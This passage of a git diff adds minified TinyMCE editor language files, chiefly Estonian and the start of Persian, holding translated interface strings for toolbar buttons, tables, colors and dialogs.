Cielo","993366":"Marr\u00f3n",C0C0C0:"Plateado",FF99CC:"Rosa",FFCC99:"Melocot\u00f3n",FFFF99:"Amarillo claro",CCFFCC:"Verde p\u00e1lido",CCFFFF:"Cian p\u00e1lido","99CCFF":"Verde Cielo Claro",CC99FF:"Pomelo",FFFFFF:"Blanco"},aria:{"rich_text_area":"\u00c1rea de Texto Rico"},wordcount:{words:"Palabras:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/et.js b/js/tiny_mce/langs/et.js new file mode 100755 index 0000000..637551b --- /dev/null +++ b/js/tiny_mce/langs/et.js @@ -0,0 +1 @@ +tinyMCE.addI18n({et:{common:{"more_colors":"Rohkem v\u00e4rve","invalid_data":"Viga: Kehtetud v\u00e4\u00e4rtused sisestatud, need on m\u00e4rgitud punasega.","popup_blocked":"Vabandust, aga Teie h\u00fcpikakna t\u00f5kestaja on blokeerinud akna, mis varustab rakenduse funktsionaalsust. Palun lubage h\u00fcpikaknad sellel kodulehel, et t\u00e4ielikult kasutada seda vahendit.","clipboard_no_support":"Hetkel ei ole toetatud Teie lehitseja poolt, kasutage klaviatuuri otseteid selle asemel.","clipboard_msg":"Kopeeri/L\u00f5ika/Kleebi ei ole saadaval Mozillas ja Firefoxis.\nKas soovite rohkem infot selle probleemi kohta?","not_set":"-- Seadmata --","class_name":"Klass",browse:"Sirvi",close:"Sule",cancel:"T\u00fchista",update:"Uuenda",insert:"Sisesta",apply:"Rakenda","edit_confirm":"Kas soovite kasutada WYSIWYG re\u017eiimi sellel tekstialal?","invalid_data_number":"{#field} peab olema number","invalid_data_min":"{#field} peab olema number,mis suurem kui {#min}","invalid_data_size":"{#field} peab olema number v\u00f5i protsent",value:"(v\u00e4\u00e4rtus)"},contextmenu:{full:"T\u00e4is",right:"Parem",center:"Kesk",left:"Vasak",align:"Joondus"},insertdatetime:{"day_short":"P,E,T,K,N,R,L,P","day_long":"P\u00fchap\u00e4ev,Esmasp\u00e4ev,Teisip\u00e4ev,Kolmap\u00e4ev,Neljap\u00e4ev,Reede,Laup\u00e4ev,P\u00fchap\u00e4ev","months_short":"Jaan,Veeb,M\u00e4rts,Apr,Mai,Juuni,Juuli,Aug,Sept,Okt,Nov,Dets","months_long":"Jaanuar,Veebruar,M\u00e4rts,Aprill,Mai,Juuni,Juuli,August,September,Oktoober,November,Detsember","inserttime_desc":"Sisesta aeg","insertdate_desc":"Sisesta kuup\u00e4ev","time_fmt":"%T:%M:%S","date_fmt":"%A-%k-%p"},print:{"print_desc":"Print"},preview:{"preview_desc":"Eelvaade"},directionality:{"rtl_desc":"Suund paremalt vasakule","ltr_desc":"Suund vasakult paremale"},layer:{content:"Uus kiht...","absolute_desc":"L\u00fclita \u00fcmber absoluutne positsioneerimine","backward_desc":"Liiguta tagasi","forward_desc":"Liiguta edasi","insertlayer_desc":"Sisesta uus kiht"},save:{"save_desc":"Salvesta","cancel_desc":"T\u00fchista k\u00f5ik muudatused"},nonbreaking:{"nonbreaking_desc":"Sisesta mittekatkestav t\u00fchik"},iespell:{download:"ie\u00d5igekiri tuvastamata. Kas soovite paigaldada n\u00fc\u00fcd?","iespell_desc":"\u00d5igekirja kontroll"},advhr:{"advhr_desc":"Horisontaalne joonlaud","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emotsioonid","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Otsi/Asenda","search_desc":"Otsi","delta_width":"","delta_height":""},advimage:{"image_desc":"Sisesta/redigeeri pilt","delta_width":"","delta_height":""},advlink:{"link_desc":"Sisesta/redigeeri link","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Sisesta muuda atribuute","ins_desc":"Lisandus","del_desc":"Kustutus","acronym_desc":"Akron\u00fc\u00fcm","abbr_desc":"L\u00fchend","cite_desc":"Tsitaat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Redigeeri CSS stiili","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Kleepimine (Paste) on n\u00fc\u00fcd lihtteksti laadis (kleebitav tekst lisatakse lihttekstina). Kliki uuesti minemaks tagasi tavalisse kleepimise laadi.","plaintext_mode_sticky":"Kleepimine (Paste) on n\u00fc\u00fcd lihtteksti laadis (kleebitav tekst lisatakse lihttekstina). Kliki uuesti minemaks tagasi tavalisse kleepimise laadi. Peale millegi kleepimist sa tuled tagasi tavalisse kleepimise laadi.","selectall_desc":"Vali k\u00f5ik","paste_word_desc":"Kleebi Wordist","paste_text_desc":"Kleebi tavalise tekstina"},"paste_dlg":{"word_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks.","text_linebreaks":"J\u00e4ta reavahetused","text_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks."},table:{cell:"Lahter",col:"Veerg",row:"Rida",del:"Kustuta tabel","copy_row_desc":"Kopeeri tabeli rida","cut_row_desc":"L\u00f5ika tabeli rida","paste_row_after_desc":"Kleebi tabeli rida j\u00e4rgi","paste_row_before_desc":"Kleebi tabeli rida ette","props_desc":"Tabeli omadused","cell_desc":"Tabeli lahtri omadused","row_desc":"Tabeli rea omadused","merge_cells_desc":"\u00dchenda tabeli lahtrid","split_cells_desc":"Eralda \u00fchendatud tabeli lahtrid","delete_col_desc":"Kustuta veerg","col_after_desc":"Sisesta veerg j\u00e4rgi","col_before_desc":"Sisesta veerg ette","delete_row_desc":"Kustuta rida","row_after_desc":"Sisesta rida j\u00e4rgi","row_before_desc":"Sisesta rida ette",desc:"Sisestab uue tabeli","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Kui sa taastad salvestatud sisu, siis sa kaotad kogu redaktoris oleva sisu.\n\nKas sa soovid taastada salvestatud sisu?If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?","restore_content":"Taasta automaatsalvestatud sisu.","unload_msg":"Tehtud muudatused kaovad, kui lahkute siit lehelt."},fullscreen:{desc:"L\u00fclita \u00fcmber t\u00e4isekraani re\u017eiim"},media:{edit:"Redigeeri manustatud meedia",desc:"Sisesta / redigeeri manustatud meedia","delta_height":"","delta_width":""},fullpage:{desc:"Dokumendi omadused","delta_width":"","delta_height":""},template:{desc:"Sisesta eeldefineeritud \u0161ablooni sisu"},visualchars:{desc:"Visuaalsed kontrollt\u00e4hem\u00e4rgid sisse/v\u00e4lja"},spellchecker:{desc:"L\u00fclita \u00fcmber \u00f5igekirja kontroll",menu:"\u00d5igekirja kontrolli seaded","ignore_word":"J\u00e4ta s\u00f5na vahele","ignore_words":"J\u00e4ra k\u00f5ik vahele",langs:"Keeled",wait:"Palun oota...",sug:"Soovitused","no_sug":"Soovitusi pole","no_mpell":"Valesti kirjutamisi ei leitud.","learn_word":"\u00d5pi s\u00f5na"},pagebreak:{desc:"Sisesta lehevahetus."},advlist:{types:"T\u00fc\u00fcbid",def:"Vaikimisi",circle:"Ring",disc:"Ketas",square:"Ruut","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman"},colors:{"000000":"Must","003300":"Tume roheline","000080":"Meresinine","333399":"S\u00fcgavsinine","333333":"V\u00e4ga tumehall","800000":"Punakaspruun",FF6600:"Oran\u017e","008000":"Roheline","008080":"Sinakasroheline","0000FF":"Sinine","666699":"Hallikas sinine","808080":"Hall",FF0000:"Punane",FF9900:"Oran\u017ekollane","99CC00":"Kollakasroheline","339966":"Sinakasroheline","33CCCC":"T\u00fcrkiissinine","800080":"Violetne","999999":"Keskmine hall",FF00FF:"Fuksiinpunane",FFCC00:"Kuldne",FFFF00:"Kollane","00FF00":"Rohekaskollane","00FFFF":"Rohekassinine","00CCFF":"Taevasinine","993366":"Pruun",C0C0C0:"H\u00f5bedane",FF99CC:"Roosa",FFCC99:"Virsikuv\u00e4rvi",FFFF99:"Helekollane",CCFFCC:"Kahvatu roheline",CCFFFF:"Kahvatu helesinine","99CCFF":"Hele taevasinine",FFFFFF:"Valge","333300":"Dark olive","993300":"Burnt orange","003366":"Dark azure","808000":"Olive","3366FF":"Royal blue",CC99FF:"Plum"},aria:{"rich_text_area":"Vormindatud tekstiala"},wordcount:{words:"S\u00f5nu:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/fa.js b/js/tiny_mce/langs/fa.js new file mode 100755 index 0000000..d5ee137 --- /dev/null +++ b/js/tiny_mce/langs/fa.js @@ -0,0 +1 @@ +tinyMCE.addI18n({fa:{common:{"more_colors":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631","invalid_data":"\u062e\u0637\u0627: \u0645\u0642\u0627\u062f\u06cc\u0631 \u0646\u0627\u0645\u0639\u062a\u0628\u0631 \u0648\u0627\u0631\u062f \u0634\u062f \u060c \u0622\u0646\u0647\u0627 \u0628\u0647 \u0631\u0646\u06af \u0642\u0631\u0645\u0632 \u0639\u0644\u0627\u0645\u062a \u062e\u0648\u0631\u062f\u0647 \u0627\u0646\u062f.","popup_blocked":"\u0628\u0627 \u0639\u0631\u0636 \u067e\u0648\u0632\u0634 \u060c \u0645\u0627 \u0627\u0637\u0644\u0627\u0639 \u062f\u0627\u062f\u0647 \u0628\u0648\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u062f\u0627\u0641\u0639 \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632 \u0634\u0648\u06cc (Popup) \u0634\u0645\u0627 \u060c \u067e\u0646\u062c\u0631\u0647 \u0627\u06cc \u0631\u0627 \u06a9\u0647 \u0642\u0627\u0628\u0644\u06cc\u062a \u0628\u0631\u0646\u0627\u0645\u0647 \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc \u06a9\u0631\u062f \u060c \u063a\u06cc\u0631 \u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0634\u0645\u0627 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u063a\u06cc\u0631 \u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0645\u062f\u0627\u0641\u0639 \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632 \u0634\u0648 (Popup) \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0631\u0627 \u062f\u0627\u0631\u06cc\u062f \u062a\u0627 \u0627\u0632 \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u06a9\u0627\u0645\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f.","clipboard_no_support":"\u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062a\u0648\u0633\u0637 \u0645\u0631\u0648\u0631\u06af\u0631 \u0634\u0645\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc \u0634\u0648\u062f \u060c \u0628\u0647 \u062c\u0627\u06cc \u0622\u0646 \u0627\u0632 \u0645\u06cc\u0627\u0646\u0628\u0631\u0647\u0627\u06cc (Shortcut) \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f.","clipboard_msg":"\u0628\u0631\u0634/\u06a9\u067e\u06cc/\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0631\u0627\u06cc \u0645\u0631\u0648\u0631\u06af\u0631 \u0641\u0627\u06cc\u0631\u0641\u0627\u06a9\u0633 \u0641\u0639\u0627\u0644 \u0646\u0645\u06cc \u0628\u0627\u0634\u062f. \n\u0622\u06cc\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631\u06cc \u0631\u0627\u062c\u0639 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u062f\u061f","not_set":"-- \u062a\u0646\u0638\u06cc\u0645 \u0646\u0634\u062f\u0647 --","class_name":"\u06a9\u0644\u0627\u0633",browse:"\u0627\u0646\u062a\u062e\u0627\u0628 \u0627\u0632 \u0633\u0631\u0648\u0631",close:"\u0628\u0633\u062a\u0646",cancel:"\u0627\u0646\u0635\u0631\u0627\u0641",update:"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc",insert:"\u062f\u0631\u062c",apply:"\u0628\u06a9\u0627\u0631\u06af\u06cc\u0631\u06cc","edit_confirm":"\u0622\u06cc\u0627 \u0634\u0645\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u0627\u0632 \u062d\u0627\u0644\u062a \u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631 \u0648\u06cc\u0632\u06cc\u200c\u0648\u06cc\u06af(\u0646\u0645\u0627\u06cc\u0634 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0631 \u062d\u0627\u0644\u062a \u0686\u0627\u067e \u0634\u062f\u0646\u06cc) \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0646\u0627\u062d\u06cc\u0647 \u0645\u062a\u0646\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"\u06a9\u0627\u0645\u0644",right:"\u0631\u0627\u0633\u062a",center:"\u0648\u0633\u0637",left:"\u0686\u067e",align:"\u062a\u0631\u0627\u0632"},insertdatetime:{"day_short":"\u06cc\u06a9\u0634\u0646\u0628\u0647,\u062f\u0648\u0634\u0646\u0628\u0647,\u0633\u0647 \u0634\u0646\u0628\u0647,\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647,\u067e\u0646\u062c \u0634\u0646\u0628\u0647,\u062c\u0645\u0639\u0647,\u0634\u0646\u0628\u0647,\u06cc\u06a9\u0634\u0646\u0628\u0647","day_long":"\u06cc\u06a9\u0634\u0646\u0628\u0647,\u062f\u0648\u0634\u0646\u0628\u0647,\u0633\u0647 \u0634\u0646\u0628\u0647,\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647,\u067e\u0646\u062c \u0634\u0646\u0628\u0647,\u062c\u0645\u0639\u0647,\u0634\u0646\u0628\u0647,\u06cc\u06a9\u0634\u0646\u0628\u0647","months_short":"\u0698\u0627\u0646\u0648\u06cc\u0647,\u0641\u0648\u0631\u06cc\u0647,\u0645\u0627\u0631\u0633,\u0622\u0648\u0631\u06cc\u0644,\u0645\u0647,\u0698\u0648\u0626\u0646,\u0698\u0648\u0626\u06cc\u0647,\u0627\u0648\u062a,\u0633\u067e\u062a\u0627\u0645\u0628\u0631,\u0627\u06a9\u062a\u0628\u0631,\u0646\u0648\u0627\u0645\u0628\u0631,\u062f\u0633\u0627\u0645\u0628\u0631","months_long":"\u0698\u0627\u0646\u0648\u06cc\u0647,\u0641\u0648\u0631\u06cc\u0647,\u0645\u0627\u0631\u0633,\u0622\u0648\u0631\u06cc\u0644,\u0645\u0647,\u0698\u0648\u0626\u0646,\u0698\u0648\u0626\u06cc\u0647,\u0627\u0648\u062a,\u0633\u067e\u062a\u0627\u0645\u0628\u0631,\u0627\u06a9\u062a\u0628\u0631,\u0646\u0648\u0627\u0645\u0628\u0631,\u062f\u0633\u0627\u0645\u0628\u0631","inserttime_desc":"\u062f\u0631\u062c \u0632\u0645\u0627\u0646","insertdate_desc":"\u062f\u0631\u062c \u062a\u0627\u0631\u06cc\u062e","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u0686\u0627\u067e"},preview:{"preview_desc":"\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634"},directionality:{"rtl_desc":"\u062c\u0647\u062a \u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e","ltr_desc":"\u062c\u0647\u062a \u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a"},layer:{content:"\u0644\u0627\u06cc\u0647 \u062c\u062f\u06cc\u062f...","absolute_desc":"\u062a\u0639\u0648\u06cc\u0636 \u0645\u0648\u0642\u0639\u06cc\u062a \u0645\u0637\u0644\u0642","backward_desc":"\u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0647 \u067e\u0634\u062a","forward_desc":"\u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0647 \u062c\u0644\u0648","insertlayer_desc":"\u062f\u0631\u062c \u0644\u0627\u06cc\u0647 \u062c\u062f\u06cc\u062f"},save:{"save_desc":"\u0630\u062e\u06cc\u0631\u0647","cancel_desc":"\u0644\u063a\u0648 \u062a\u0645\u0627\u0645\u06cc \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a"},nonbreaking:{"nonbreaking_desc":"\u062f\u0631\u062c \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0641\u0627\u0635\u0644\u0647 \u0628\u062f\u0648\u0646 \u0642\u0637\u0639 \u0634\u062f\u06af\u06cc"},iespell:{download:"ieSpell \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0646\u0634\u062f. \u0622\u06cc\u0627 \u0634\u0645\u0627 \u0645\u0627\u06cc\u0644 \u0628\u0647 \u0646\u0635\u0628 \u0622\u0646 \u0647\u0633\u062a\u06cc\u062f\u061f","iespell_desc":"\u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0631\u0633\u06cc \u0627\u0645\u0644\u0627\u0621"},advhr:{"advhr_desc":"\u062e\u0637 \u0627\u0641\u0642\u06cc","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0634\u06a9\u0644\u06a9","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u062c\u0633\u062a\u062c\u0648/\u062a\u0639\u0648\u06cc\u0636","search_desc":"\u062c\u0633\u062a\u062c\u0648","delta_width":"","delta_height":""},advimage:{"image_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u062a\u0635\u0648\u06cc\u0631","delta_width":"","delta_height":""},advlink:{"link_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0635\u0641\u0627\u062a","ins_desc":"\u062f\u0631\u062c","del_desc":"\u062d\u0630\u0641","acronym_desc":"\u0645\u062e\u0641\u0641","abbr_desc":"\u0627\u062e\u062a\u0635\u0627\u0631","cite_desc":"\u0646\u0642\u0644 \u0642\u0648\u0644","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0627\u0633\u062a\u06cc\u0644 CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u062d\u0627\u0644\u062a \u0633\u0627\u062f\u0647 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0628\u0631\u06af\u0634\u062a \u0628\u0647 \u062d\u0627\u0644\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0627\u0642\u0627\u0639\u062f\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f.","plaintext_mode_sticky":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u062d\u0627\u0644\u062a \u0633\u0627\u062f\u0647 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0628\u0631\u06af\u0634\u062a \u0628\u0647 \u062d\u0627\u0644\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0627\u0642\u0627\u0639\u062f\u0647 \u062f\u0648\u0628\u0627\u0631\u0647 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u06cc\u062f \u0628\u0647 \u062d\u0627\u0644\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0627\u0642\u0627\u0639\u062f\u0647 \u0628\u0627\u0632 \u0645\u06cc \u06af\u0631\u062f\u06cc\u062f.","selectall_desc":"\u0627\u0646\u062a\u062e\u0627\u0628 \u0647\u0645\u0647","paste_word_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0627\u0632 \u0648\u064f\u0631\u062f","paste_text_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062a\u0646 \u0633\u0627\u062f\u0647"},"paste_dlg":{"word_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f.","text_linebreaks":"\u062d\u0641\u0638 \u0642\u0637\u0639 \u062e\u0637\u0648\u0637","text_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f."},table:{cell:"\u0633\u0644\u0648\u0644",col:"\u0633\u062a\u0648\u0646",row:"\u0633\u0637\u0631",del:"\u062d\u0630\u0641 \u062c\u062f\u0648\u0644","copy_row_desc":"\u06a9\u067e\u06cc \u0633\u0637\u0631 \u062c\u062f\u0648\u0644","cut_row_desc":"\u0628\u0631\u0634 (Cut) \u0633\u0637\u0631 \u062c\u062f\u0648\u0644","paste_row_after_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste) \u0633\u0637\u0631 \u062c\u062f\u0648\u0644 \u062f\u0631 \u0628\u0639\u062f","paste_row_before_desc":"\u0686\u0633\u0628\u0627\u0646\u062f\u0646 (Paste) \u0633\u0637\u0631 \u062c\u062f\u0648\u0644 \u062f\u0631 \u0642\u0628\u0644","props_desc":"\u0645\u0634\u062e\u0635\u0627\u062a \u062c\u062f\u0648\u0644","cell_desc":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0644\u0648\u0644 \u062c\u062f\u0648\u0644","row_desc":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0637\u0631 \u062c\u062f\u0648\u0644","merge_cells_desc":"\u0627\u062f\u063a\u0627\u0645 \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644","split_cells_desc":"\u062a\u0642\u0633\u06cc\u0645 \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644 \u0627\u062f\u063a\u0627\u0645 \u0634\u062f\u0647","delete_col_desc":"\u062d\u0630\u0641 \u0633\u062a\u0648\u0646","col_after_desc":"\u062f\u0631\u062c \u0633\u062a\u0648\u0646 \u062f\u0631 \u0628\u0639\u062f","col_before_desc":"\u062f\u0631\u062c \u0633\u062a\u0648\u0646 \u062f\u0631 \u0642\u0628\u0644","delete_row_desc":"\u062d\u0630\u0641 \u0633\u0637\u0631","row_after_desc":"\u062f\u0631\u062c \u0633\u0637\u0631 \u062f\u0631 \u0628\u0639\u062f","row_before_desc":"\u062f\u0631\u062c \u0633\u0637\u0631 \u062f\u0631 \u0642\u0628\u0644",desc:"\u06cc\u06a9 \u062c\u062f\u0648\u0644 \u062c\u062f\u06cc\u062f \u062f\u0631\u062c \u0645\u06cc \u06a9\u0646\u062f","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u0627\u06af\u0631 \u0645\u062d\u062a\u0648\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u0631\u0627 \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u06a9\u0646\u06cc\u062f\u060c \u0645\u062d\u062a\u0648\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631 \u0627\u0632 \u0628\u06cc\u0646 \u0645\u06cc\u200c\u0631\u0648\u062f.\u0628\u0631\u0627\u06cc \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u062d\u062a\u0648\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f\u061f.","restore_content":"\u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u06cc \u0645\u062d\u062a\u0648\u0627 \u0627\u0632 \u0630\u062e\u06cc\u0631\u0647\u200c\u06cc \u062e\u0648\u062f\u06a9\u0627\u0631","unload_msg":"\u0627\u06af\u0631 \u0627\u0632 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0628\u0647 \u062c\u0627\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0628\u0631\u0648\u06cc\u062f \u060c \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u062f\u0631 \u0645\u062d\u062a\u0648\u0627 \u0627\u0632 \u062f\u0633\u062a \u062e\u0648\u0627\u0647\u062f \u0631\u0641\u062a."},fullscreen:{desc:"\u062a\u0639\u0648\u06cc\u0636 \u0628\u0647 \u062d\u0627\u0644\u062a \u0635\u0641\u062d\u0647 \u06a9\u0627\u0645\u0644"},media:{"delta_height":"",edit:"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0631\u0633\u0627\u0646\u0647 \u062c\u0627\u0633\u0627\u0632\u06cc \u0634\u062f\u0647 (Embeded Media)",desc:"\u062f\u0631\u062c / \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0631\u0633\u0627\u0646\u0647 \u062c\u0627\u0633\u0627\u0632\u06cc \u0634\u062f\u0647 (Embeded Media)","delta_width":""},fullpage:{desc:"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0646\u062f","delta_width":"","delta_height":""},template:{desc:"\u062f\u0631\u062c \u0645\u062d\u062a\u0648\u0627\u06cc \u0642\u0627\u0644\u0628 \u0627\u0632 \u067e\u06cc\u0634 \u062a\u0639\u0631\u06cc\u0641 \u0634\u062f\u0647"},visualchars:{desc:"\u0631\u0648\u0634\u0646/\u062e\u0627\u0645\u0648\u0634 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0647\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0628\u0635\u0631\u06cc (Visual)."},spellchecker:{desc:"\u062a\u0639\u0648\u06cc\u0636 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u0646\u062f\u0647 \u0627\u0645\u0644\u0627\u0621",menu:"\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u0646\u062f\u0647 \u0627\u0645\u0644\u0627\u0621","ignore_word":"\u0686\u0634\u0645 \u067e\u0648\u0634\u06cc \u0627\u0632 \u06a9\u0644\u0645\u0647","ignore_words":"\u0686\u0634\u0645 \u067e\u0648\u0634\u06cc \u0627\u0632 \u0647\u0645\u0647",langs:"\u0632\u0628\u0627\u0646 \u0647\u0627",wait:"\u0644\u0637\u0641\u0627 \u0645\u0646\u062a\u0638\u0631 \u0628\u0645\u0627\u0646\u06cc\u062f...",sug:"\u067e\u06cc\u0634\u0646\u0647\u0627\u062f\u0627\u062a","no_sug":"\u0628\u062f\u0648\u0646 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f","no_mpell":"\u0647\u06cc\u0686 \u062e\u0637\u0627\u06cc \u0627\u0645\u0644\u0627\u0626\u06cc \u06cc\u0627\u0641\u062a\u0647 \u0646\u0634\u062f.","learn_word":"\u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u06a9\u0644\u0645\u0647"},pagebreak:{desc:"\u062f\u0631\u062c \u0642\u0637\u0639 \u0635\u0641\u062d\u0647."},advlist:{types:"\u0627\u0646\u0648\u0627\u0639",def:"\u067e\u06cc\u0634\u200c\u0641\u0631\u0636","lower_alpha":"\u067e\u0627\u06cc\u06cc\u0646\u200c\u062a\u0631 